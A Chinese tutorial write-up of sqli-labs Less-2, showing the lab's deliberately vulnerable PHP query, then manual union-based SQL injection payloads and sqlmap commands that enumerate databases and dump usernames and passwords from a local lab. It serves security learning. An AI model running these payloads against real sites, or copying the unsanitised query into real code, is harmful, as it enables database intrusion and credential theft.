首页 > 数据库> 文章详细

sqli-labs 第二关---基于错误的GET整型注入

2022-08-16 13:03:35 阅读：187 来源： 互联网

标签：labs GET union 查询 --- --+ id select schema

手工注入：
代码审计：

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
// 与第一题代码基本一致，但是这SELECT查询语句这里发生了一点儿小小的变化：
// 第一题：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ，在这里去掉了 id 的 '' ，可以发现这里对传入的 id 值没有进行处理 or 1=1，or 1=1 --+ 可以直接被执行。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo " ";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}

?>
手工 union 联合查询注入

# 出现报错信息，根据报错信息，说我们的数据库语法有问题：

?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

?id=1 回显正确，根据上面报错信息是单引号破坏了查询，导致抛出了错误，根据我们上面代码审计的结果，查询代码使用了整数传参

# 代码查询语句可能是这个：
Select * from TABLE where id = (some integer value);

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 首先要用order by 子句猜解查询的字段数(二分法)。 [猜解查询字段数的原因：使用联合查询时，副查询字段数需要与主查询字段数一致，否则会报错。]

?id=1 order by 3 --+ 成功
?id=1 order by 4 --+ 失败

则说明有3个字段

# 通过联合查询（union）构造payload来获取数据库名：
?id=-1 union select 1,2,3 --+

?id=-1 union select 1,2,database() --+

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1 union select 1,database(),3 --+
?id=-1 union select database(),2,3 --+

---> "SELECT * FROM users WHERE id= -1 union select 1,2,database() LIMIT 0,1"

# 注：
为什么是-1呢？因为前面查询为假后面才能正常查询.
利用报错注入，union是联合查询，意思是俩个select查询结果合并，我们把左边的设置为空集那么右边的select查询自然成了第一行，这就是union select。

# 构造payload 来获取数据表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

# 注：
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] ) 将相同的行组合起来
group_concat(table_name)
information_schema：结构用来存储数据库系统信息
information_schema.tables
SCHEMA_NAME(schema_name) 表示数据库名称
TABLE_SCHEMA(table_schema) 表示表所属的数据库名称；
TABLE_NAME(table_name) 表示所属的表的名称
COLUMN_NAME(column_name) 表示字段名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询字段名

# 构造 payload 来获取用户名账号和密码：
?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+

# 注：
0x3a： 0x是十六进制标志，3a是十进制的58，是ascii中的 ':' ，用以分割pasword和username

SQLmap 自动测试：
检查一下注入点：

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1"

列出数据库信息：

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" --dbs

指定数据库名列出所有表：

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" -D security --tables

指定数据库名表名列出所有字段（爆破字段）y：

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" -D security -T users --columns

指定数据库名表名字段dump出指定字段：

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" -D security -T users -C username,password --dump

标签：labs,GET,union,查询,---,--+,id,select,schema
来源： https://www.cnblogs.com/linyu51/p/16591169.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

sqli-labs 第二关---基于错误的GET整型注入